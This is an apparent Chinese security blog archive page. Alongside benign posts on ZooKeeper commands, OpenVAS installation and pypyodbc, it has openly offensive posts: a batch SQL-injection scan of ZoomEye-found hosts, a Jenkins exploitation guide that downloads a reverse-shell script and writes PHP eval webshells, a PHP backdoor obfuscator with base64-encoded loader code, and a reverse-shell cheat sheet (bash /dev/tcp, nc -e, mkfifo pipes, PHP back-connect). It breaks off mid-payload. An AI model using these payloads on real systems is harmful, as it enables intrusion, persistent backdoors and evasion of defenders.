Zookeeper常用命令

发布时间:July 15, 2015 // 分类:运维工作,开发笔记,linux,windows,python // No Comments

zk客户端命令

ZooKeeper命令行工具类似于Linux的shell环境,不过功能肯定不及shell啦,但是使用它我们可以简单的对ZooKeeper进行访问,数据创建,数据修改等操作.  使用 zkCli.sh -server 127.0.0.1:2181 连接到 ZooKeeper 服务,连接成功后,系统会输出 ZooKeeper 的相关环境以及配置信息。

命令行工具的一些简单操作如下:

如下示例:

  • 1. 显示根目录下、文件: ls / 使用 ls 命令来查看当前 ZooKeeper 中所包含的内容
  • 2. 显示根目录下、文件: ls2 / 查看当前节点数据并能看到更新次数等数据
  • 3. 创建文件,并设置初始内容: create /zk "test" 创建一个新的 znode节点“ zk ”以及与它关联的字符串
  • 4. 获取文件内容: get /zk 确认 znode 是否包含我们所创建的字符串
  • 5. 修改文件内容: set /zk "zkbak" 对 zk 所关联的字符串进行设置
  • 6. 删除文件: delete /zk 将刚才创建的 znode 删除
  • 7. 退出客户端: quit
  • 8. 帮助命令: help

429306093

429329789

 

ZooKeeper 常用四字命令:

      ZooKeeper 支持某些特定的四字命令字母与其的交互。它们大多是查询命令,用来获取 ZooKeeper 服务的当前状态及相关信息。用户在客户端可以通过 telnet 或 nc 向 ZooKeeper 提交相应的命令

传递四个字母的字符串给ZooKeeper,ZooKeeper会返回一些有用的信息。

ZooKeeper 四字命令

功能描述

conf

输出相关服务配置的详细信息。

cons

列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。包括“接受 / 发送”的包数量、会话 id 、操作延迟、最后的操作执行等等信息。

dump

列出未经处理的会话和临时节点。

envi

输出关于服务环境的详细信息(区别于 conf 命令)。

reqs

列出未经处理的请求

ruok

测试服务是否处于正确状态。如果确实如此,那么服务返回“imok ”,否则不做任何相应。

stat

输出关于性能和连接的客户端的列表。

wchs

列出服务器 watch 的详细信息。

wchc

通过 session 列出服务器 watch 的详细信息,它的输出是一个与watch 相关的会话的列表。

wchp

通过路径列出服务器 watch 的详细信息。它输出一个与 session相关的路径。

 

如下示例:

  • 1. 可以通过命令:echo stat|nc 127.0.0.1 2181 来查看哪个节点被选择作为follower或者leader
  • 2. 使用echo ruok|nc 127.0.0.1 2181 测试是否启动了该Server,若回复imok表示已经启动。
  • 3. echo dump| nc 127.0.0.1 2181 ,列出未经处理的会话和临时节点。
  • 4. echo kill | nc 127.0.0.1 2181 ,关掉server
  • 5. echo conf | nc 127.0.0.1 2181 ,输出相关服务配置的详细信息。
  • 6. echo cons | nc 127.0.0.1 2181 ,列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。
  • 7. echo envi |nc 127.0.0.1 2181 ,输出关于服务环境的详细信息(区别于 conf 命令)。
  • 8. echo reqs | nc 127.0.0.1 2181 ,列出未经处理的请求。
  • 9. echo wchs | nc 127.0.0.1 2181 ,列出服务器 watch 的详细信息。
  • 10. echo wchc | nc 127.0.0.1 2181 ,通过 session 列出服务器 watch 的详细信息,它的输出是一个与 watch 相关的会话的列表。
  • 11. echo wchp | nc 127.0.0.1 2181 ,通过路径列出服务器 watch 的详细信息。它输出一个与 session 相关的路径。

273847384

273799725

写个脚本来搞定


import sys
from kazoo.client import KazooClient
​
host = sys.argv[1]
conn = KazooClient(host)
conn.start()
sysinfo = conn.command('envi')
print sysinfo

 

利用bugscan插件打造自己的漏扫

发布时间:July 11, 2015 // 分类:工作日志,开发笔记,linux,python,windows,转帖文章,生活琐事 // No Comments

如果要针对某个特定的漏洞来对目标进行检测, 直接丢到bugscan里显然有点大材小用,而且灵活性也不高。

就选一个泛微的漏洞吧,泛微e-cology 未授权下载文件处sql注入

新建个目录叫bugscan, 把这个插件保存为ecology.py,并放到这个目录下, 在ecology.py里再加一句话from dummy import *

tu

另外再新建个__init__.py的空文件, 把bugscan的sdk中的dummy文件夹也放到这里面

我的截图如下

tu

然后到bugscan的上级目录新建个py脚本

#!/usr/bin/python
from  bugscan import ecology
ecology.audit('http://220.248.243.186:8081/')

运行下 tu

然后就可以调用了。。

现在来批量。

查找目标zoomeye 
有500多台主机吧。。 
稍微改写下脚本

#!/usr/bin/python
from  bugscan import ecology

#target每个ip用换行隔开的,为了采集简单我查找的80端口
targets = file('target').readlines()

for target in targets:
    target = target.rstrip()
    ecology.audit("http://"+target+":80/")

tu

bugscandk下载地址:https://www.bugscan.net/sdk.zip

zoomeye:http://www.zoomeye.org/

OpenVas 8 on Ubuntu Server 14.04

发布时间:July 10, 2015 // 分类:工作日志,运维工作,linux // No Comments

This installation is not made for public facing servers, there is no build in security in my setup.
Everything is run as root in this example below, including daemons and web servers…
I take no responsibility if this guide bork you server, burn your house down to ashes or just messes up your life.. It’s under the “it worked for me[tm]” clause

首先来安装各种支持库

sudo apt-get install -y build-essential devscripts dpatch libassuan-dev  libglib2.0-dev libgpgme11-dev libpcre3-dev libpth-dev libwrap0-dev libgmp-dev libgmp3-dev libgpgme11-dev libopenvas2 libpcre3-dev libpth-dev quilt cmake pkg-config  libssh-dev libglib2.0-dev libpcap-dev libgpgme11-dev uuid-dev bison libksba-dev  doxygen sqlfairy xmltoman sqlite3 libsqlite3-dev wamerican redis-server libhiredis-dev libsnmp-dev  libmicrohttpd-dev libxml2-dev libxslt1-dev xsltproc libssh2-1-dev libldap2-dev autoconf nmap libgnutls-dev libpopt-dev heimdal-dev heimdal-multidev libpopt-dev mingw32

# Fix redis-server for some openvas default install settings.

cp /etc/redis/redis.conf /etc/redis/redis.orig
echo "unixsocket /tmp/redis.sock" >> /etc/redis/redis.conf
service redis-server restart

# Move in to the right place to download some tarballs.

cd /usr/local/src

# Become almighty root (remember: safety off, segmented internal build on)

sudo su
# Download ‘all the things’
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2015/openvas-libraries-8.0.1.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2016/openvas-scanner-5.0.1.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2017/openvas-manager-6.0.1.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2018/greenbone-security-assistant-6.0.1.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/1987/openvas-cli-1.4.0.tar.gz 
wget --no-check-certificate https://wald.intevation.org/frs/download.php/1975/openvas-smb-1.0.1.tar.gz
wget --no-check-certificate https://wald.intevation.org/frs/download.php/1999/ospd-1.0.0.tar.gz
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2005/ospd-ancor-1.0.0.tar.gz
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2003/ospd-ovaldi-1.0.0.tar.gz
wget --no-check-certificate https://wald.intevation.org/frs/download.php/2004/ospd-w3af-1.0.0.tar.gz

# unpack

find . -name \*.gz -exec tar zxvfp {} \;

# Configure and install openvas-smb:

cd openvas-smb* 
mkdir build 
cd build/ 
cmake .. 
make 
make doc-full 
make install 
cd /usr/local/src

# config and build libraries

 cd openvas-libraries-* 
 mkdir build 
 cd build 
 cmake .. 
 make 
 make doc-full
 make install
 cd /usr/local/src

# config and build scanner

 cd openvas-scanner-* 
 mkdir build 
 cd build/ 
 cmake .. 
 make 
 make doc-full 
 make install 
 cd /usr/local/src

# reload libraries

ldconfig

#create cert

openvas-mkcert

# Sync nvt’s

openvas-nvt-sync

# Start openvassd

openvassd

# Check with ps or htop if the daemon is started. or perhaps..

# watch "ps -ef | grep openvassd"
root 32078 1 27 16:09 ? 00:00:36 openvassd: Reloaded 6550 of 34309 NVTs (19% / ETA: 09:10)
root 32079 32078 0 16:09 ? 00:00:00 openvassd (Loading Handler)
# Wait until "openvassd: Reloaded is done".. and switches to "Waiting for ingcoming..."

# config and build manager

cd openvas-manager-* 
mkdir build 
cd build/ 
cmake .. 
make 
make doc-full
make install
cd /usr/local/src

# get scap feed

openvas-scapdata-sync

# get cert feed

openvas-certdata-sync

# create client cert..

openvas-mkcert-client -n -i

# Initialize the Database

openvasmd --rebuild --progress
 (This is going to take some time, pehaps time to get coffee?)

#create user

openvasmd --create-user=admin --role=Admin
 (write down the password)

# config and build cli

cd openvas-cli-*
mkdir build
cd build/
cmake ..
make
make doc-full
make install
cd/usr/local/src

# configure and install gsa

cd greenbone-security-assistant-*
mkdir build
cd build/
cmake ..
make
make doc-full
make install
cd/usr/local/src

如果提示缺失libmicrohttpd,我们来安装

cd /var/tmp
wget http://ftpmirror.gnu.org/libmicrohttpd/libmicrohttpd-0.9.34.tar.gz
tar zxf libmicrohttpd-0.9.34.tar.gz
cd libmicrohttpd-*
./configure
make
makeinstall

然后重新继续上一步

# Start the all the stuff.

openvasmd --rebuild --progress 
openvasmd
gsad --http-only

# check installation

wget https://svn.wald.intevation.org/svn/openvas/trunk/tools/openvas-check-setup --no-check-certificate
chmod 0755 openvas-check-setup
./openvas-check-setup --v8 --server

This should be a working default installation of OpenVas 8.
To try is out, go to http://serverip and login with Admin and your generated password.

# If you want to have pdf reports and such, you can always install:

apt-get install texlive-full
(this is not optimal thou, this installs a bunch of packets..)

# And some autostart script for ubuntu 14.04. and OpenVas8
# Nothing fancy, I took the init.d scripts from the debs for OpenVas5 and changed some stuff to make it work in the above setup.
# So all credits goes to the creators of the scripts that are mentioned in the scripts comments..
# This below downloads my modded init.d, default, logrotate.d scripts
# Unpack the tarball, copy the thingies to etc/
# Create the symlink to /var/log/openvas
# Create the symlinks for the autostart jobs..

cd /usr/local/src
wget http://www.mockel.se/wp-content/uploads/2015/04/openvas-startupscripts-v8.tar.gz
tar zxvfp openvas-startupscripts-v8.tar.gz
cd openvas-startupscripts-v8
cp etc/* /etc/ -arvi
update-rc.d openvas-manager defaults
update-rc.d openvas-scanner defaults
update-rc.d greenbone-security-assistant defaults

 

知其一不知其二之Jenkins Hacking

发布时间:July 9, 2015 // 分类:linux,转帖文章,windows // No Comments

大多安全工作者听到jenkins都会知道有个未授权的命令执行

但是如果Script页面要授权才能访问呢 或者你的用户没有Overall/RunScripts权限呢

抱着提出问题-->测试问题-->解决问题的思路有了这篇文章

shot_jenkins

 

 

 

 

 

 

 

 

 

由于版本众多 也不用下载本地测了 直接在内网找到六个

 

jenkins_inner

 

 

 

 

截止发稿 Jenkins新版本为(1.589)

一、 知其一的Jenkins未授权访问可执行命令

 

http://www.secpulse.com:8080/manage

http://www.secpulse.com:8080/script

默认是8080端口 未授权访问就是任意用户都能访问 都能执行命令

jenkins_1

 

 

1) println "ifconfig -a".execute().text  执行一些系统命令

 

老外比较喜欢这样用:

def sout = new StringBuffer(), serr = new StringBuffer()

def proc = '[INSERT COMMAND]'.execute()

proc.consumeProcessOutput(sout, serr)

proc.waitForOrKill(1000)

println "out> $sout err> $serr"

 

 

2) 直接wget下载back.py反弹shell

 

println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text

println "python /tmp/back.py 10.1.1.111 8080".execute().text

 

back.py里面已经有了HISTFILE代码,会自动去掉各种history记录,确保shell断掉的时候不会被记录到.bash_history里面

back.py不需要root权限

jenkins_reverse_shell

 

 

3) 不想反弹试试Terminal Plugin

可以搜索安装Terminal Plugin

Terminal Plugin
https://wiki.jenkins-ci.org/display/JENKINS/Terminal+Plugin

jenkins_terminal

不想提权的话 还是蛮好用的终端插件 谁用谁知道~

二、不知其二之多种方式写shell

有时候其他端口有web,我们可以查看nginx/apache配置或者结合phpinfo写入webshell

 

尝试几次失败后开始翻阅Groovy  Script语法

The web site for Groovy is http://groovy.codehaus.org/

Groovy is a weakly-typed scripting language based on Java.

 

1)Groovy既然是基于Java的弱类型语言 那么先稍微提提它的语法

def name = 'Joe'

println "Hello $name"

//Hello Joe

 

def name = 'Joe'

println "Number of letters in $name is ${name.size( )}"

//Number of letters in Joe is 3

 

//Groovy I/O 文件读写

 
读文件

text = new File("/tmp/back.py").getText();

 
//eachLine -- 打开和读取文件的每一行

new File("/tmp/back.py").eachLine { 

println it;

}

//readLines

lineList = new File("/tmp/back.py").readLines();

lineList.each { 

println it.toUpperCase();

}

 

write轻轻松松写文件

new File("/tmp/1.php").write('Hello SecPulse');

 

多行写入

new File("/tmp/1.php").write("""

This is

just a test file

to play with

""");

 

 

2)几种写webshell的错误写法:

println "echo \'<?php @eval($_POST[c6md])?>\' > /var/www/html/media.php".execute().text

println "echo '<?php @eval(\$_POST[c6md])?>\' > /var/www/html/media.php ".execute().text

new File("/tmp/1.php").write("<?php @eval($_POST[s3cpu1se]);?>");

groovy.lang.MissingPropertyException: No such property: _POST for class: Script1

new File("/tmp/1.php").write("<?php @eval($\_POST[s3cpu1se]);?>");

new File("/tmp/1.php").write("<?php @eval(\$\_POST[s3cpu1se]);?>");

 

 

3)脑洞开 多种写webshell方法

① wget写webshell

println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/media.php".execute().text

②

new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');

③

def webshell = '<?php @eval($_POST[s3cpu1se]);?>'

new File("/var/www/html/media.php").write("$webshell");

 

④追加法写webshell

def execute(cmd) {

def proc =  cmd.execute()

proc.waitFor()

}

execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )

execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )

//参数-n 不要在最后自动换行

 

jenkins_webshell

 

Result: 0 表示成功写入

Result: 1 表示目录不存在或者权限不足 写入失败

Result: 2 表示构造有异常 写入失败

 

Hudson(jenkins类似)找"脚本命令行"

hudson

 

 

 

 

 

 

 

 

 

 

 

执行Groovy代码,读取服务器本地/etc/passwd文件:

try{

text = new File("/etc/passwd").getText();

out.print text

} catch(Exception e){

}

 

三、高逼格的Powershell&msf

https://github.com/samratashok/nishang

http://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console

http://www.labofapenetrationtester.com/2014/06/hacking-jenkins-servers.html

jenkins_msf_3

 

nishang是一个powershell脚本集 msf上面有jenkins对应的exploit 感觉都没必要

四、登录认证的突破

jenkins可以对每个用户分配不同的权限,如Overall/RunScripts或者Job/Configure权限

user_config_2

 

 

1)某些版本匿名用户可以访问asynchPeople 可爆破密码

(通常很多密码跟用户名一样或者是其他弱口令(top1000),尤其是内网)

 

//用户列表:包含所有已知“用户”,包括当前安全域中的登录ID和在变更记录的提交信的息里的人

http://jenkins.secpulse.com:8080/asynchPeople/

jenkins_asynchPeople

 

所有构建(builds)

http://jenkins.secpulse.com:8080/view/All/builds

可以导出为XML

http:// jenkins.secpulse.com:8080/view/All/cc.xml

userContent(一般就一个readme):

http:// jenkins.secpulse.com:8080/userContent/

Computers:

http:// jenkins.secpulse.com:8080/computer/

jenkins_computer

 

2) 熟练的猜密码

根据这些用户名 熟练的猜密码 我们的目标就是要一个有命令执行权限的用户(最好是这样,但也不苛求)

有时候是域认证的用户 爆破立马触发各种邮件报警 显然就不理智 端详猜密码是个绝技~

3) 构造精准字典,来爆破

最好是构造精准的字典 也可以是top1000之类的弱口令

jenkins_burp

爆破Payload里面的json串可以删除

主要根据location判断爆破成功与否

 

五、低权限用户命令执行突破

 

不小心猜了个用户 没有执行权限 但是有job查看和configure权限

http://jenkins.secpulse.com:8080/job/Job1/configure

jenkins_execute_shell_1

 

新加一个Execute Shell添加command  (win平台用Execute Windows batch command)

Cat /etc/passwd

Apply

添加左上侧 立即构建

Build History看到历史BuildId

右键

控制台输出

http://jenkins.secpulse.com:8080/job/Job1/300/console

纯文本方式

http://jenkins.secpulse.com:8080/job/Job1/300/consoleText

 

jenkins_execute_shell_3

 

 

 

 

 

 

 

 

 

 

 

 

 

 

jenkins_execute_shell_2

 

老外也有提及:http://www.labofapenetrationtester.com/2014/08/script-execution-and-privilege-esc-jenkins.html

 

六、asynchPeople等不能访问时候的突破

 

快速定位用户有妙招

1) 如果jobs能访问的话 各种翻jobs 会看到启动用户

jenkins_finduser_1

 

 

<p style="box-sizing: border-box; border: 0px; font-family: 'Microsoft YaHei', 微软雅黑, Helvetica, Arial, 'Lucida Grande', Tahoma, sans-serif; font-size: 16px; outline: 0px; padding: 0px; margin: 0px

python 域名转IP

发布时间:July 2, 2015 // 分类:工作日志,开发笔记,运维工作,linux,代码学习,windows,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import urlparse

def getIp(domain):
    trytime = 0
    while True:
         try:
            domain = domain.split(':')[0]
            myaddr = socket.getaddrinfo(domain,None)[0][4][0]
            return myaddr
         except:
            trytime+=1
            if trytime>3:
                return ""

if __name__=='__main__':
    www = "http://0cx.cc"
    hosts = urlparse.urlsplit(www)
    if ":" in hosts.netloc:
        host = hosts.netloc.split(":")[0]
        port = hosts.netloc.split(":")[1]
    else:
        host = hosts.netloc
        port = '80'
        print getIp(host)

 

最近在抓几个payload(java反序列的),准备拿socket来实现。暂时只能是模拟发包。

抓包工具 wireshark
在线python 沙盒 http://www.runoob.com/try/runcode.php?filename=HelloWorld&type=python

主要为了方便部分是有域名的。同时域名会转换为IP而准备的。一个从谷歌的搜索抓取结果的脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os,sys,requests,re
import pdb,urllib
from urllib import unquote
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
    'content-type': 'application/x-www-form-urlencoded',
    }
def google(domain):
    #domain ='site:0day5.com inurl:php'
    r =requests.get('https://www.google.com.hk/search?q='+domain+'&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8&start=1&num=1000&',headers=headers)
    matc = re.findall('u=(.*?)&amp;prev=search',r.content)
    #page = re.findall("<div id=\"resultStats\">(.*?)<nobr>",r.text)
    #print page
    for url in matc:
        print unquote(url)

if __name__=="__main__": 
      
    if len(sys.argv)!=2: 
        print "Usage:"+"python"+" test.py "+"keywords"
        print "example:"+"python test.py site:0day5.com"
        sys.exit() 
    else: 
        google(sys.argv[1])

一个svn的探测脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
r = requests.get('http://www.baidu.com/.svn/entries')
#print r.headers
get=r.text.split('\n')
dir=[get[i-1] for i in range(len(get)) if get[i]=='dir' and get[i-1]!='']
file=[get[i-1] for i in range(len(get)) if get[i]=='file' and get[i-1]!='']
print dir
print file

 

about pypyodbc

发布时间:June 26, 2015 // 分类:工作日志,运维工作,linux,代码学习,转帖文章,windows,python // No Comments

Connect to a Database

Make a direct connection to a database and create a cursor.

cnxn = pypyodbc.connect('DRIVER={SQL Server};SERVER=localhost;DATABASE=testdb;UID=me;PWD=pass')
cursor = cnxn.cursor()

Make a connection using a DSN. Since DSNs usually don't store passwords, you'll probably need to provide the PWD keyword.

cnxn = pypyodbc.connect('DSN=test;PWD=password')
cursor = cnxn.cursor()

There are lots of options when connecting, so see the connect function and ConnectionStrings for more details.

Selecting Some Data

Select Basics

All SQL statements are executed using the cursor.execute function. If the statement returns rows, such as a select statement, 

you can retreive them using the Cursor fetch functions (fetchonefetchallfetchmany). If there are no rows, fetchone will return None; 

fetchall and fetchmany will both return empty lists.

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
if row:
    print row

Row objects are similar to tuples, but they also allow access to columns by name:

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
print 'name:', row[1]          # access by column index
print 'name:', row.user_name   # or access by name

The fetchone function returns None when all rows have been retrieved.

while 1:
    row = cursor.fetchone()
    if not row:
        break
    print 'id:', row.user_id

The fetchall function returns all remaining rows in a list. If there are no rows, an empty list is returned. 

(If there are a lot of rows, this will use a lot of memory. Unread rows are stored by the database driver in a compact format and are often sent in batches from the database server. 

Reading in only the rows you need at one time will save a lot of memory.)

cursor.execute("select user_id, user_name from users")
rows = cursor.fetchall()
for row in rows:
    print row.user_id, row.user_name

If you are going to process the rows one at a time, you can use the cursor itself as an interator:

cursor.execute("select user_id, user_name from users"):
for row in cursor:
    print row.user_id, row.user_name

Since cursor.execute always returns the cursor, you can simplify this even more:

for row in cursor.execute("select user_id, user_name from users"):
    print row.user_id, row.user_name

A lot of SQL statements don't fit on one line very easily, so you can always use triple quoted strings:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < '2001-01-01'
                  and bill_overdue = 'y'
               """)

Parameters

ODBC supports parameters using a question mark as a place holder in the SQL. 

You provide the values for the question marks by passing them after the SQL:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, '2001-01-01', 'y')

This is safer than putting the values into the string because the parameters are passed to the database separately, protecting against SQL injection attacks

It is also be more efficient if you execute the same SQL repeatedly with different parameters. The SQL will be prepared only once. (pypyodbc only keeps the last statement prepared, so if you switch between statements, each will be prepared multiple times.)

The Python DB API specifies that parameters should be passed in a sequence, so this is also supported by pypyodbc:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, ['2001-01-01', 'y'])
cursor.execute("select count(*) as user_count from users where age > ?", 21)
row = cursor.fetchone()
print '%d users' % row.user_count

Inserting Data

To insert data, pass the insert SQL to Cursor.execute, along with any parameters necessary:

cursor.execute("insert into products(id, name) values ('pypyodbc', 'awesome library')")
cnxn.commit()

cursor.execute("insert into products(id, name) values (?, ?)", 'pypyodbc', 'awesome library')
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Updating and Deleting

Updating and deleting work the same way, pass the SQL to execute. However, you often want to know how many records were affected when updating and deleting, in which case you can use the cursor.rowcount value:

cursor.execute("delete from products where id <> ?", 'pypyodbc')
print cursor.rowcount, 'products deleted'
cnxn.commit()

Since execute always returns the cursor, you will sometimes see code like this. (Notice the rowcount on the end.)

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Tips and Tricks

Since single quotes are valid in SQL, use double quotes to surround your SQL:

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount

If you are using triple quotes, you can use either:

deleted = cursor.execute("""
                         delete
                           from products
                          where id <> 'pypyodbc'
                         """).rowcount

Some databases (e.g. SQL Server) do not generate column names for calculations, in which case you need to access the columns by index. You can also use the 'as' keyword to name columns (the "as user_count" in the SQL below).

row = cursor.execute("select count(*) as user_count from users").fetchone()
print '%s users' % row.user_count

If there is only 1 value you need, you can put the fetch of the row and the extraction of the first column all on one line:

count = cursor.execute("select count(*) from users").fetchone()[0]
print '%s users' % count

This will not work if the first column can be NULL! In that case, fetchone() will return None and you'll get a cryptic error about NoneType not supporting indexing. If there is a default value, often you can is ISNULL or coalesce to convert NULLs to default values directly in the SQL:

maxid = cursor.execute("select coalesce(max(id), 0) from users").fetchone()[0]

In this example, coalesce(max(id), 0) causes the selected value to be 0 if max(id) returns NULL.

If you're using MS Access 2007, there are some subtle differences in the connection string:

conn = pypyodbc.connect("Driver={Microsoft Access Driver (*.mdb, *.accdb)};DBQ=<path to MDB or ACCDB>;")

Also, you need to use the square brackets notation if your column has spaces or nonstandard characters. I prefer an alias:
 

cursor.execute("SELECT Cust.[ZIP CODE] AS ZIPCODE FROM Cust")
for row in cursor:
        print row.ZIPCODE

Aboutt mysql

# using mysql odbc driver http://www.mysql.com/downloads/connector/odbc/
import pypyodbc
#connect to localhost
cnxn = pypyodbc.connect('Driver={MySQL ODBC 5.1 Driver};Server=127.0.0.1;Port=3306;Database=information_schema;User=root; Password=root;Option=3;')
cursor = cnxn.cursor()

#select all tables from all databases
cursor.execute("select t1.TABLE_SCHEMA field1,t1.TABLE_NAME field2  from `TABLES` t1;")
rows = cursor.fetchall()
for row in rows:
    print "%s.%s" % (row.field1,row.field2)

from:https://code.google.com/p/pyodbc/downloads/list

php 后门加密代码

发布时间:June 17, 2015 // 分类:工作日志,PHP,运维工作,linux,windows,转帖文章 // No Comments

在某司5看到了一个加密文件求解密的。默默的谷歌到了

http://www.unphp.net/decode/f8d9b784c5812649b44b3cf623805bd9/

如果需要解密,可以参考

http://wiki.yobi.be/wiki/Forensics_on_Incident_3

根据这篇文章的算法写了个简单的文件加密,什么大马小马加密出来的效果一模一样。效果很吊,双层加密,可以防爆破

<?php 
$file = 'D:/Web/index.php'; /*要加密的文件*/
$pass = '123456'; /*登录密码*/

function enc($code,$pass) {
        $len  = strlen($code);
        for($i = 0; $i < $len; $i++) {
                $pass .= $code[$i];
                $code[$i] = chr((ord($code[$i]) + ord($pass[$i])) % 256);
        }
        $code = base64_encode($code);
        $temp = str_split($code,80);
        $newc = join("\r\n",$temp);
        return $newc;
}

$code = file_get_contents($file);
$code = base64_encode(' ?>'.$code.'<?php ');
$code = 'eval(base64_decode(\''.$code.'\'));exit;';
$code = gzdeflate($code);
$pass = md5($pass).substr(md5(strrev($pass)),0,strlen($pass));

$out  = base64_decode('PD9waHANCiR3cF9fd3AgPSAnYmFzZScgLiAoMzIgKiAyKSAuICdfZGUnIC4gJ2NvZGUnOw0KJHdwX193cCA9ICR3cF9fd3Aoc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwiXG4iKSwgYXJyYXkoJycsJycpLCAn').enc($code,$pass);
$out .= base64_decode('JykpOw0KJHdwX3dwID0gaXNzZXQoJF9QT1NUWyd3cF93cCddKSA/ICRfUE9TVFsnd3Bfd3AnXSA6IChpc3NldCgkX0NPT0tJRVsnd3Bfd3AnXSkgPyAkX0NPT0tJRVsnd3Bfd3AnXSA6IE5VTEwpOw0KaWYgKCR3cF93cCAhPT0gTlVMTCkgew0KICAgICR3cF93cCA9IG1kNSgkd3Bfd3ApIC4gc3Vic3RyKG1kNShzdHJyZXYoJHdwX3dwKSksIDAsIHN0cmxlbigkd3Bfd3ApKTsNCiAgICBmb3IgKCR3cF9fX3dwID0gMDsgJHdwX19fd3AgPCA=').strlen($code);
$out .= base64_decode('OyAkd3BfX193cCsrKSB7DQogICAgICAgICR3cF9fd3BbJHdwX19fd3BdID0gY2hyKChvcmQoJHdwX193cFskd3BfX193cF0pIC0gb3JkKCR3cF93cFskd3BfX193cF0pKSAlIDI1Nik7DQogICAgICAgICR3cF93cC49ICR3cF9fd3BbJHdwX19fd3BdOw0KICAgIH0NCiAgICBpZiAoJHdwX193cCA9IEBnemluZmxhdGUoJHdwX193cCkpIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnd3Bfd3AnXSkpIEBzZXRjb29raWUoJ3dwX3dwJywgJF9QT1NUWyd3cF93cCddKTsNCiAgICAgICAgJHdwX19fd3AgPSBjcmVhdGVfZnVuY3Rpb24oJycsICR3cF9fd3ApOw0KICAgICAgICB1bnNldCgkd3BfX3dwLCAkd3Bfd3ApOw0KICAgICAgICAkd3BfX193cCgpOw0KICAgIH0NCn0gPz48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3Bfd3AiIHZhbHVlPSIiLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJmd0OyIvPjwvZm9ybT4=');

echo '<pre>';
echo htmlspecialchars($out);
echo '</pre>';
?>

一句话把加密后的$_POST['wp_wp']改成$_GET['wp_wp'],连接加上参数?wp_wp=xxxxxx。即可

渗透测试:反弹与转发小结

发布时间:June 16, 2015 // 分类:linux,转帖文章 // No Comments

0x00 前言

在做渗透测试时,遇到linux服务器,直观想到反弹shell到本地进行溢出等提权尝试,而其中涉及到的反弹/转发/代理的种种方式,就在此文做一简单小结.

0x01 反弹shell
1) Bash

部分linux发行版中的Bash可以直接反弹一个shell到指定ip端口

bash -i >& /dev/tcp/x.x.x.x/2333 0>&1
2) NetCat

Netcat反弹shell也是常用兵器,经典命令参数-e

nc -e /bin/sh x.x.x.x 2333

但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f

或者本地监听两个端口,通过管道,一处输入,一处输出

nc x.x.x.x 2333|/bin/sh|nc x.x.x.x 2444

其他方式基本沿用以上思路,如将nc更换为telnet等

mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipe
3) PHP

PHP环境下反弹shell,过去我们通常用phpspy等shell自带反弹即可,这里将其反弹部分代码提取出来,访问即可反弹到指定IP端口一个普通交互shell

<?php 
function which($pr) { 
    $path = execute("which $pr");
    return ($path ? $path : $pr);
}
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 

function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 

$yourip = "x.x.x.x"; 
$yourport = "2333"; 
$usedb = array('perl'=>'perl','c'=>'c');    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
